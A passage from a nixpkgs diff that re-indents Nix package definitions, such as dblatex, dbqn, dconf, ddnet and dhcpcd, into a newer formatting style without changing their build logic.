-      wrapGAppsHook3
-      autoPatchelfHook
-    ]
-    ++ lib.optionals stdenvNoCC.hostPlatform.isDarwin [ undmg ];
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ lib.optionals (!stdenvNoCC.hostPlatform.isDarwin) [
+    gnused
+    wrapGAppsHook3
+    autoPatchelfHook
+  ]
+  ++ lib.optionals stdenvNoCC.hostPlatform.isDarwin [ undmg ];
 
   dontConfigure = true;
   dontBuild = true;
diff --git a/pkgs/by-name/db/dblatex/package.nix b/pkgs/by-name/db/dblatex/package.nix
index a73f0b92771c..3bed1f8cc05f 100644
--- a/pkgs/by-name/db/dblatex/package.nix
+++ b/pkgs/by-name/db/dblatex/package.nix
@@ -62,42 +62,40 @@ stdenv.mkDerivation rec {
     sha256 = "0yd09nypswy3q4scri1dg7dr99d7gd6r2dwx0xm81l9f4y32gs0n";
   };
 
-  buildInputs =
-    [
-      python311
-      libxslt
-      tex
-    ]
-    ++ lib.optionals enableAllFeatures [
-      imagemagick
-      fig2dev
-    ];
+  buildInputs = [
+    python311
+    libxslt
+    tex
+  ]
+  ++ lib.optionals enableAllFeatures [
+    imagemagick
+    fig2dev
+  ];
 
   # TODO: dblatex tries to execute texindy command, but nixpkgs doesn't have
   # that yet. In Ubuntu, texindy is a part of the xindy package.
-  preConfigure =
-    ''
-      sed -i 's|self.install_layout == "deb"|False|' setup.py
-    ''
-    + lib.optionalString enableAllFeatures ''
-      for file in $(find -name "*.py"); do
-          sed -e 's|cmd = \["xsltproc|cmd = \["${libxslt.bin}/bin/xsltproc|g' \
-              -e 's|Popen(\["xsltproc|Popen(\["${libxslt.bin}/bin/xsltproc|g' \
-              -e 's|cmd = \["texindy|cmd = ["nixpkgs_is_missing_texindy|g' \
-              -e 's|cmd = "epstopdf|cmd = "${tex}/bin/epstopdf|g' \
-              -e 's|cmd = \["makeindex|cmd = ["${tex}/bin/makeindex|g' \
-              -e 's|doc.program = "pdflatex"|doc.program = "${tex}/bin/pdflatex"|g' \
-              -e 's|self.program = "latex"|self.program = "${tex}/bin/latex"|g' \
-              -e 's|Popen("pdflatex|Popen("${tex}/bin/pdflatex|g' \
-              -e 's|"fc-match"|"${fontconfig.bin}/bin/fc-match"|g' \
-              -e 's|"fc-list"|"${fontconfig.bin}/bin/fc-list"|g' \
-              -e 's|cmd = "inkscape|cmd = "${inkscape}/bin/inkscape|g' \
-              -e 's|cmd = "fig2dev|cmd = "${fig2dev}/bin/fig2dev|g' \
-              -e 's|cmd = \["ps2pdf|cmd = ["${ghostscript}/bin/ps2pdf|g' \
-              -e 's|cmd = "convert|cmd = "${imagemagick.out}/bin/convert|g' \
-              -i "$file"
-      done
-    '';
+  preConfigure = ''
+    sed -i 's|self.install_layout == "deb"|False|' setup.py
+  ''
+  + lib.optionalString enableAllFeatures ''
+    for file in $(find -name "*.py"); do
+        sed -e 's|cmd = \["xsltproc|cmd = \["${libxslt.bin}/bin/xsltproc|g' \
+            -e 's|Popen(\["xsltproc|Popen(\["${libxslt.bin}/bin/xsltproc|g' \
+            -e 's|cmd = \["texindy|cmd = ["nixpkgs_is_missing_texindy|g' \
+            -e 's|cmd = "epstopdf|cmd = "${tex}/bin/epstopdf|g' \
+            -e 's|cmd = \["makeindex|cmd = ["${tex}/bin/makeindex|g' \
+            -e 's|doc.program = "pdflatex"|doc.program = "${tex}/bin/pdflatex"|g' \
+            -e 's|self.program = "latex"|self.program = "${tex}/bin/latex"|g' \
+            -e 's|Popen("pdflatex|Popen("${tex}/bin/pdflatex|g' \
+            -e 's|"fc-match"|"${fontconfig.bin}/bin/fc-match"|g' \
+            -e 's|"fc-list"|"${fontconfig.bin}/bin/fc-list"|g' \
+            -e 's|cmd = "inkscape|cmd = "${inkscape}/bin/inkscape|g' \
+            -e 's|cmd = "fig2dev|cmd = "${fig2dev}/bin/fig2dev|g' \
+            -e 's|cmd = \["ps2pdf|cmd = ["${ghostscript}/bin/ps2pdf|g' \
+            -e 's|cmd = "convert|cmd = "${imagemagick.out}/bin/convert|g' \
+            -i "$file"
+    done
+  '';
 
   dontBuild = true;
 
diff --git a/pkgs/by-name/db/dbmonster/package.nix b/pkgs/by-name/db/dbmonster/package.nix
index 1adfad927850..c3f14969a9cd 100644
--- a/pkgs/by-name/db/dbmonster/package.nix
+++ b/pkgs/by-name/db/dbmonster/package.nix
@@ -21,17 +21,16 @@ python3.pkgs.buildPythonApplication {
     hash = "sha256-9RP3LmZF7P2c0+Jt/kMSVPb4cBtyH6P3FZ5UrQpBP0I=";
   };
 
-  propagatedBuildInputs =
-    [
-      aircrack-ng
-      iproute2
-      networkmanager
-      tshark
-      wirelesstools
-    ]
-    ++ (with python3.pkgs; [
-      matplotlib
-    ]);
+  propagatedBuildInputs = [
+    aircrack-ng
+    iproute2
+    networkmanager
+    tshark
+    wirelesstools
+  ]
+  ++ (with python3.pkgs; [
+    matplotlib
+  ]);
 
   dontBuild = true;
 
diff --git a/pkgs/by-name/db/dbqn/package.nix b/pkgs/by-name/db/dbqn/package.nix
index 81be3e7141ff..0787eaa8ac39 100644
--- a/pkgs/by-name/db/dbqn/package.nix
+++ b/pkgs/by-name/db/dbqn/package.nix
@@ -29,47 +29,45 @@ stdenv.mkDerivation rec {
     patchShebangs --build ./build8
   '';
 
-  buildPhase =
-    ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      ./build8
-    ''
-    + lib.optionalString buildNativeImage ''
-      native-image --report-unsupported-elements-at-runtime \
-        -H:CLibraryPath=${lib.getLib jdk}/lib -J-Dfile.encoding=UTF-8 \
-        -jar BQN.jar dbqn
-    ''
-    + ''
-      runHook postBuild
-    '';
+    ./build8
+  ''
+  + lib.optionalString buildNativeImage ''
+    native-image --report-unsupported-elements-at-runtime \
+      -H:CLibraryPath=${lib.getLib jdk}/lib -J-Dfile.encoding=UTF-8 \
+      -jar BQN.jar dbqn
+  ''
+  + ''
+    runHook postBuild
+  '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/bin
+    mkdir -p $out/bin
 
-    ''
-    + (
-      if buildNativeImage then
-        ''
-          mv dbqn $out/bin
-        ''
-      else
-        ''
-          mkdir -p $out/share/dbqn
-          mv BQN.jar $out/share/dbqn/
+  ''
+  + (
+    if buildNativeImage then
+      ''
+        mv dbqn $out/bin
+      ''
+    else
+      ''
+        mkdir -p $out/share/dbqn
+        mv BQN.jar $out/share/dbqn/
 
-          makeWrapper "${lib.getBin jdk}/bin/java" "$out/bin/dbqn" \
-            --add-flags "-jar $out/share/dbqn/BQN.jar"
-        ''
-    )
-    + ''
-      ln -s $out/bin/dbqn $out/bin/bqn
+        makeWrapper "${lib.getBin jdk}/bin/java" "$out/bin/dbqn" \
+          --add-flags "-jar $out/share/dbqn/BQN.jar"
+      ''
+  )
+  + ''
+    ln -s $out/bin/dbqn $out/bin/bqn
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/dzaima/BQN";
diff --git a/pkgs/by-name/db/dbus-cpp/package.nix b/pkgs/by-name/db/dbus-cpp/package.nix
index 976125f91625..d00ffc4d1e84 100644
--- a/pkgs/by-name/db/dbus-cpp/package.nix
+++ b/pkgs/by-name/db/dbus-cpp/package.nix
@@ -35,23 +35,22 @@ stdenv.mkDerivation (finalAttrs: {
     "examples"
   ];
 
-  postPatch =
-    ''
-      substituteInPlace doc/CMakeLists.txt \
-        --replace-fail 'DESTINATION share/''${CMAKE_PROJECT_NAME}/doc' 'DESTINATION ''${CMAKE_INSTALL_DOCDIR}'
+  postPatch = ''
+    substituteInPlace doc/CMakeLists.txt \
+      --replace-fail 'DESTINATION share/''${CMAKE_PROJECT_NAME}/doc' 'DESTINATION ''${CMAKE_INSTALL_DOCDIR}'
 
-      # Warning on aarch64-linux breaks build due to -Werror
-      substituteInPlace CMakeLists.txt \
-        --replace-fail '-Werror' ""
+    # Warning on aarch64-linux breaks build due to -Werror
+    substituteInPlace CMakeLists.txt \
+      --replace-fail '-Werror' ""
 
-      # pkg-config output patching hook expects prefix variable here
-      substituteInPlace data/dbus-cpp.pc.in \
-        --replace-fail 'includedir=''${exec_prefix}' 'includedir=''${prefix}'
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'add_subdirectory(tests)' '# add_subdirectory(tests)'
-    '';
+    # pkg-config output patching hook expects prefix variable here
+    substituteInPlace data/dbus-cpp.pc.in \
+      --replace-fail 'includedir=''${exec_prefix}' 'includedir=''${prefix}'
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'add_subdirectory(tests)' '# add_subdirectory(tests)'
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/db/dbus-glib/package.nix b/pkgs/by-name/db/dbus-glib/package.nix
index e5e4854aadbd..ba2029a5ec91 100644
--- a/pkgs/by-name/db/dbus-glib/package.nix
+++ b/pkgs/by-name/db/dbus-glib/package.nix
@@ -43,11 +43,12 @@ stdenv.mkDerivation rec {
     glib
   ];
 
-  configureFlags =
-    [ "--exec-prefix=${placeholder "dev"}" ]
-    ++ lib.optional (
-      stdenv.buildPlatform != stdenv.hostPlatform
-    ) "--with-dbus-binding-tool=${buildPackages.dbus-glib.dev}/bin/dbus-binding-tool";
+  configureFlags = [
+    "--exec-prefix=${placeholder "dev"}"
+  ]
+  ++ lib.optional (
+    stdenv.buildPlatform != stdenv.hostPlatform
+  ) "--with-dbus-binding-tool=${buildPackages.dbus-glib.dev}/bin/dbus-binding-tool";
 
   doCheck = false;
 
diff --git a/pkgs/by-name/db/dbus_cplusplus/package.nix b/pkgs/by-name/db/dbus_cplusplus/package.nix
index 34094c14ba6d..449987a8db6a 100644
--- a/pkgs/by-name/db/dbus_cplusplus/package.nix
+++ b/pkgs/by-name/db/dbus_cplusplus/package.nix
@@ -66,14 +66,13 @@ stdenv.mkDerivation rec {
     expat
   ];
 
-  configureFlags =
-    [
-      "--disable-ecore"
-      "--disable-tests"
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      "--disable-examples"
-    ];
+  configureFlags = [
+    "--disable-ecore"
+    "--disable-tests"
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    "--disable-examples"
+  ];
 
   meta = with lib; {
     homepage = "https://dbus-cplusplus.sourceforge.net";
diff --git a/pkgs/by-name/db/dbx/package.nix b/pkgs/by-name/db/dbx/package.nix
index 2864b1acb388..b27f0ccfff09 100644
--- a/pkgs/by-name/db/dbx/package.nix
+++ b/pkgs/by-name/db/dbx/package.nix
@@ -25,7 +25,8 @@ let
         disabledTestPaths = [
           # Requires python-on-whales
           "tests/autobahn/test_autobahn.py"
-        ] ++ (old.disabledTestPaths or [ ]);
+        ]
+        ++ (old.disabledTestPaths or [ ]);
       });
 
       databricks-sdk = super.databricks-sdk.overridePythonAttrs (old: {
@@ -109,20 +110,19 @@ python.pkgs.buildPythonApplication rec {
     gcp = [ google-cloud-storage ];
   };
 
-  nativeCheckInputs =
-    [
-      addBinToPathHook
-      gitMinimal
-      versionCheckHook
-      writableTmpDirAsHomeHook
-    ]
-    ++ (with python.pkgs; [
-      pytest-asyncio
-      pytest-mock
-      pytest-timeout
-      pytest-xdist
-      pytestCheckHook
-    ]);
+  nativeCheckInputs = [
+    addBinToPathHook
+    gitMinimal
+    versionCheckHook
+    writableTmpDirAsHomeHook
+  ]
+  ++ (with python.pkgs; [
+    pytest-asyncio
+    pytest-mock
+    pytest-timeout
+    pytest-xdist
+    pytestCheckHook
+  ]);
   versionCheckProgramArg = "--version";
 
   disabledTests = [
diff --git a/pkgs/by-name/dc/dclxvi/package.nix b/pkgs/by-name/dc/dclxvi/package.nix
index 870cf8a211a1..307ea58f8c7d 100644
--- a/pkgs/by-name/dc/dclxvi/package.nix
+++ b/pkgs/by-name/dc/dclxvi/package.nix
@@ -17,15 +17,14 @@ stdenv.mkDerivation {
 
   buildFlags = [ "libdclxvipairing.so" ];
 
-  patchPhase =
-    ''
-      substituteInPlace Makefile \
-        --replace "gcc" "cc"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace Makefile \
-        --replace "-soname=libdclxvipairing.so" "-install_name,libdclxvipairing.so"
-    '';
+  patchPhase = ''
+    substituteInPlace Makefile \
+      --replace "gcc" "cc"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace Makefile \
+      --replace "-soname=libdclxvipairing.so" "-install_name,libdclxvipairing.so"
+  '';
 
   installPhase = ''
     mkdir -p $out/{include,lib}
diff --git a/pkgs/by-name/dc/dconf/package.nix b/pkgs/by-name/dc/dconf/package.nix
index 547295d2a96e..916d5551f93c 100644
--- a/pkgs/by-name/dc/dconf/package.nix
+++ b/pkgs/by-name/dc/dconf/package.nix
@@ -33,38 +33,37 @@ stdenv.mkDerivation rec {
     "out"
     "lib"
     "dev"
-  ] ++ lib.optional withDocs "devdoc";
+  ]
+  ++ lib.optional withDocs "devdoc";
 
   src = fetchurl {
     url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
     sha256 = "0cs5nayg080y8pb9b7qccm1ni8wkicdmqp1jsgc22110r6j24zyg";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      python3
-      libxslt
-      glib
-      docbook-xsl-nons
-      docbook_xml_dtd_42
-      gtk-doc
-    ]
-    ++ lib.optionals (withDocs && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook # gtkdoc invokes the host binary to produce documentation
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    python3
+    libxslt
+    glib
+    docbook-xsl-nons
+    docbook_xml_dtd_42
+    gtk-doc
+  ]
+  ++ lib.optionals (withDocs && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook # gtkdoc invokes the host binary to produce documentation
+  ];
 
-  buildInputs =
-    [
-      glib
-      bash-completion
-      dbus
-    ]
-    ++ lib.optionals withIntrospection [
-      vala
-    ];
+  buildInputs = [
+    glib
+    bash-completion
+    dbus
+  ]
+  ++ lib.optionals withIntrospection [
+    vala
+  ];
 
   mesonFlags = [
     "--sysconfdir=/etc"
diff --git a/pkgs/by-name/dd/ddd/package.nix b/pkgs/by-name/dd/ddd/package.nix
index f33f08825799..e6a90e53b518 100644
--- a/pkgs/by-name/dd/ddd/package.nix
+++ b/pkgs/by-name/dd/ddd/package.nix
@@ -27,7 +27,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [
     imagemagick
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
 
   buildInputs = [
     motif
diff --git a/pkgs/by-name/dd/ddm/package.nix b/pkgs/by-name/dd/ddm/package.nix
index 5d8e10e52412..c5884aa7779b 100644
--- a/pkgs/by-name/dd/ddm/package.nix
+++ b/pkgs/by-name/dd/ddm/package.nix
@@ -36,38 +36,37 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   dontConfigure = true;
   dontBuild = true;
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/{bin,share/icons/hicolor/512x512/apps,share/ddm}
+    mkdir -p $out/{bin,share/icons/hicolor/512x512/apps,share/ddm}
 
-      asar extract ./resources/app.asar $out/share/ddm/
+    asar extract ./resources/app.asar $out/share/ddm/
 
-      patch -d $out/share/ddm/ -p1 < ${./0001-Make-findPath-its-calls-behave-well-with-store.patch}
+    patch -d $out/share/ddm/ -p1 < ${./0001-Make-findPath-its-calls-behave-well-with-store.patch}
 
-      ln -s $out/share/ddm/icon.png $out/share/icons/hicolor/512x512/apps/ddm.png
+    ln -s $out/share/ddm/icon.png $out/share/icons/hicolor/512x512/apps/ddm.png
 
-      makeWrapper ${lib.getExe electron} $out/bin/ddm \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-        --add-flags "$out/share/ddm"
+    makeWrapper ${lib.getExe electron} $out/bin/ddm \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+      --add-flags "$out/share/ddm"
 
-      # Install externally-downloaded campaign packs and cube & constructed lists
-      mkdir $out/share/ddm/{campaigns,cubes,constructed}
-    ''
-    + lib.concatMapStringsSep "\n" (campaignZip: ''
-      unzip "${campaignZip}" -d $out/share/ddm/campaigns/
-    '') campaigns
-    + lib.concatMapStringsSep "\n" (cubeFile: ''
-      cp "${cubeFile}" $out/share/ddm/cubes/
-    '') cubes
-    + lib.concatMapStringsSep "\n" (constructedFile: ''
-      cp "${constructedFile}" $out/share/ddm/constructed/
-    '') constructed
-    + ''
+    # Install externally-downloaded campaign packs and cube & constructed lists
+    mkdir $out/share/ddm/{campaigns,cubes,constructed}
+  ''
+  + lib.concatMapStringsSep "\n" (campaignZip: ''
+    unzip "${campaignZip}" -d $out/share/ddm/campaigns/
+  '') campaigns
+  + lib.concatMapStringsSep "\n" (cubeFile: ''
+    cp "${cubeFile}" $out/share/ddm/cubes/
+  '') cubes
+  + lib.concatMapStringsSep "\n" (constructedFile: ''
+    cp "${constructedFile}" $out/share/ddm/constructed/
+  '') constructed
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/dd/ddnet/package.nix b/pkgs/by-name/dd/ddnet/package.nix
index c3483d022e5d..befd8986f69b 100644
--- a/pkgs/by-name/dd/ddnet/package.nix
+++ b/pkgs/by-name/dd/ddnet/package.nix
@@ -60,33 +60,32 @@ stdenv.mkDerivation rec {
     gtest
   ];
 
-  buildInputs =
+  buildInputs = [
+    curl
+    libnotify
+    pcre
+    python3
+    sqlite
+  ]
+  ++ lib.optionals buildClient (
     [
-      curl
-      libnotify
-      pcre
-      python3
-      sqlite
+      freetype
+      libGLU
+      libogg
+      opusfile
+      SDL2
+      wavpack
+      ffmpeg
+      x264
+      vulkan-loader
+      vulkan-headers
+      glslang
+      spirv-tools
     ]
-    ++ lib.optionals buildClient (
-      [
-        freetype
-        libGLU
-        libogg
-        opusfile
-        SDL2
-        wavpack
-        ffmpeg
-        x264
-        vulkan-loader
-        vulkan-headers
-        glslang
-        spirv-tools
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        libX11
-      ]
-    );
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      libX11
+    ]
+  );
 
   postPatch = ''
     substituteInPlace src/engine/shared/storage.cpp \
diff --git a/pkgs/by-name/de/debian-devscripts/package.nix b/pkgs/by-name/de/debian-devscripts/package.nix
index ec27b1091aba..df8276f881e2 100644
--- a/pkgs/by-name/de/debian-devscripts/package.nix
+++ b/pkgs/by-name/de/debian-devscripts/package.nix
@@ -58,34 +58,33 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      xz
-      dpkg
-      libxslt
-      python
-      setuptools
-      curl
-      gnupg
-      diffutils
-      bash-completion
-      help2man
-    ]
-    ++ (with perlPackages; [
-      perl
-      CryptSSLeay
-      LWP
-      TimeDate
-      DBFile
-      FileDesktopEntry
-      ParseDebControl
-      LWPProtocolHttps
-      Moo
-      FileHomeDir
-      IPCRun
-      FileDirList
-      FileTouch
-    ]);
+  buildInputs = [
+    xz
+    dpkg
+    libxslt
+    python
+    setuptools
+    curl
+    gnupg
+    diffutils
+    bash-completion
+    help2man
+  ]
+  ++ (with perlPackages; [
+    perl
+    CryptSSLeay
+    LWP
+    TimeDate
+    DBFile
+    FileDesktopEntry
+    ParseDebControl
+    LWPProtocolHttps
+    Moo
+    FileHomeDir
+    IPCRun
+    FileDirList
+    FileTouch
+  ]);
 
   preConfigure = ''
     export PERL5LIB="$PERL5LIB''${PERL5LIB:+:}${dpkg}";
diff --git a/pkgs/by-name/de/delly/package.nix b/pkgs/by-name/de/delly/package.nix
index cb5f86e2ef25..c29ee7023e18 100644
--- a/pkgs/by-name/de/delly/package.nix
+++ b/pkgs/by-name/de/delly/package.nix
@@ -34,7 +34,8 @@ stdenv.mkDerivation (finalAttrs: {
     htslib
     xz
     zlib
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin llvmPackages.openmp;
 
   makeFlags = [
     "EBROOTHTSLIB=${htslib}"
diff --git a/pkgs/by-name/de/delta/package.nix b/pkgs/by-name/de/delta/package.nix
index 9ad0a6215929..d865260207f5 100644
--- a/pkgs/by-name/de/delta/package.nix
+++ b/pkgs/by-name/de/delta/package.nix
@@ -29,13 +29,12 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      oniguruma
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      zlib
-    ];
+  buildInputs = [
+    oniguruma
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    zlib
+  ];
 
   nativeCheckInputs = [ git ];
 
diff --git a/pkgs/by-name/de/deltachat-desktop/package.nix b/pkgs/by-name/de/deltachat-desktop/package.nix
index ee3c55ae5a74..106319a9d8dd 100644
--- a/pkgs/by-name/de/deltachat-desktop/package.nix
+++ b/pkgs/by-name/de/deltachat-desktop/package.nix
@@ -52,18 +52,17 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-PBCmyNmlH88y5s7+8WHcei8SP3Q0lIAAnAQn9uaFxLc=";
   };
 
-  nativeBuildInputs =
-    [
-      yq
-      makeWrapper
-      nodejs
-      pkg-config
-      pnpm.configHook
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      copyDesktopItems
-    ];
+  nativeBuildInputs = [
+    yq
+    makeWrapper
+    nodejs
+    pkg-config
+    pnpm.configHook
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    copyDesktopItems
+  ];
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
diff --git a/pkgs/by-name/de/deno/package.nix b/pkgs/by-name/de/deno/package.nix
index b5725fdb7b62..fe275e23d42a 100644
--- a/pkgs/by-name/de/deno/package.nix
+++ b/pkgs/by-name/de/deno/package.nix
@@ -49,7 +49,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
     # required by deno_kv crate
     protobuf
     installShellFiles
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ lld ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ lld ];
 
   configureFlags = lib.optionals stdenv.cc.isClang [
     # This never worked with clang, but became a hard error recently: https://github.com/llvm/llvm-project/commit/3d5b610c864c8f5980eaa16c22b71ff1cf462fae
diff --git a/pkgs/by-name/de/descent3-unwrapped/package.nix b/pkgs/by-name/de/descent3-unwrapped/package.nix
index 96619f708e72..a942841cb338 100644
--- a/pkgs/by-name/de/descent3-unwrapped/package.nix
+++ b/pkgs/by-name/de/descent3-unwrapped/package.nix
@@ -152,6 +152,7 @@ stdenv.mkDerivation rec {
       # have any Darwin systems to test things on at the moment.
       #
       # [1]: <https://logs.ofborg.org/?key=nixos/nixpkgs.355710&attempt_id=747dd630-5068-4ba9-9c50-6f150634ef1a>
-    ] ++ lib.platforms.darwin;
+    ]
+    ++ lib.platforms.darwin;
   };
 }
diff --git a/pkgs/by-name/de/devpi-client/package.nix b/pkgs/by-name/de/devpi-client/package.nix
index ef2584ab99e9..919ab8ff0de5 100644
--- a/pkgs/by-name/de/devpi-client/package.nix
+++ b/pkgs/by-name/de/devpi-client/package.nix
@@ -36,21 +36,20 @@ python3.pkgs.buildPythonApplication rec {
     platformdirs
   ];
 
-  nativeCheckInputs =
-    [
-      devpi-server
-      git
-    ]
-    ++ (with python3.pkgs; [
-      mercurial
-      mock
-      pypitoken
-      pytestCheckHook
-      sphinx
-      virtualenv
-      webtest
-      wheel
-    ]);
+  nativeCheckInputs = [
+    devpi-server
+    git
+  ]
+  ++ (with python3.pkgs; [
+    mercurial
+    mock
+    pypitoken
+    pytestCheckHook
+    sphinx
+    virtualenv
+    webtest
+    wheel
+  ]);
 
   preCheck = ''
     export HOME=$(mktemp -d);
diff --git a/pkgs/by-name/de/dexed/package.nix b/pkgs/by-name/de/dexed/package.nix
index 93e607a1f927..542526820a23 100644
--- a/pkgs/by-name/de/dexed/package.nix
+++ b/pkgs/by-name/de/dexed/package.nix
@@ -27,19 +27,18 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-mXr1KGzA+DF2dEgAJE4lpnefPqO8pqfnKa43vyjSJgU=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail 'set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64" CACHE INTERNAL "")' '# Not forcing output archs'
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail 'set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64" CACHE INTERNAL "")' '# Not forcing output archs'
 
-      substituteInPlace Source/CMakeLists.txt \
-        --replace-fail 'COPY_PLUGIN_AFTER_BUILD TRUE' 'COPY_PLUGIN_AFTER_BUILD FALSE'
-    ''
-    # LTO needs special setup on Linux
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace Source/CMakeLists.txt \
-        --replace-fail 'juce::juce_recommended_lto_flags' '# Not forcing LTO'
-    '';
+    substituteInPlace Source/CMakeLists.txt \
+      --replace-fail 'COPY_PLUGIN_AFTER_BUILD TRUE' 'COPY_PLUGIN_AFTER_BUILD FALSE'
+  ''
+  # LTO needs special setup on Linux
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace Source/CMakeLists.txt \
+      --replace-fail 'juce::juce_recommended_lto_flags' '# Not forcing LTO'
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/dh/dhcpcd/package.nix b/pkgs/by-name/dh/dhcpcd/package.nix
index b6b814248050..51756ef9f979 100644
--- a/pkgs/by-name/dh/dhcpcd/package.nix
+++ b/pkgs/by-name/dh/dhcpcd/package.nix
@@ -23,17 +23,16 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      runtimeShellPackage # So patchShebangs finds a bash suitable for the installed scripts
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      udev
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-      freebsd.libcapsicum
-      freebsd.libcasper
-    ];
+  buildInputs = [
+    runtimeShellPackage # So patchShebangs finds a bash suitable for the installed scripts
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    udev
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+    freebsd.libcapsicum
+    freebsd.libcasper
+  ];
 
   postPatch = ''
     substituteInPlace hooks/dhcpcd-run-hooks.in --replace /bin/sh ${runtimeShell}
@@ -46,7 +45,8 @@ stdenv.mkDerivation rec {
     "--dbdir=/var/lib/dhcpcd"
     "--with-default-hostname=nixos"
     (lib.enableFeature enablePrivSep "privsep")
-  ] ++ lib.optional enablePrivSep "--privsepuser=dhcpcd";
+  ]
+  ++ lib.optional enablePrivSep "--privsepuser=dhcpcd";
 
   makeFlags = [ "PREFIX=${placeholder "out"}" ];
 
diff --git a/pkgs/by-name/di/dia/package.nix b/pkgs/by-name/di/dia/package.nix
index fb9b8df29c84..2f6671196bfe 100644
--- a/pkgs/by-name/di/dia/package.nix
+++ b/pkgs/by-name/di/dia/package.nix
@@ -40,34 +40,32 @@ stdenv.mkDerivation {
     patchShebangs .
   '';
 
-  buildInputs =
-    [
-      graphene
-      gtk3
-      (libxml2.override { zlibSupport = true; })
-      python3
-      poppler
-    ]
-    ++ lib.optionals withDocs [
-      libxslt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gtk-mac-integration-gtk3
-    ];
+  buildInputs = [
+    graphene
+    gtk3
+    (libxml2.override { zlibSupport = true; })
+    python3
+    poppler
+  ]
+  ++ lib.optionals withDocs [
+    libxslt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gtk-mac-integration-gtk3
+  ];
 
-  nativeBuildInputs =
-    [
-      appstream-glib
-      desktop-file-utils
-      intltool
-      meson
-      ninja
-      pkg-config
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals withDocs [
-      dblatex
-    ];
+  nativeBuildInputs = [
+    appstream-glib
+    desktop-file-utils
+    intltool
+    meson
+    ninja
+    pkg-config
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals withDocs [
+    dblatex
+  ];
 
   meta = with lib; {
     description = "Gnome Diagram drawing software";
diff --git a/pkgs/by-name/di/dictu/package.nix b/pkgs/by-name/di/dictu/package.nix
index c2a051c00895..7d818a8c0b93 100644
--- a/pkgs/by-name/di/dictu/package.nix
+++ b/pkgs/by-name/di/dictu/package.nix
@@ -27,12 +27,11 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ cmake ];
 
-  buildInputs =
-    [
-      sqlite
-    ]
-    ++ lib.optional httpSupport curl
-    ++ lib.optional linenoiseSupport linenoise;
+  buildInputs = [
+    sqlite
+  ]
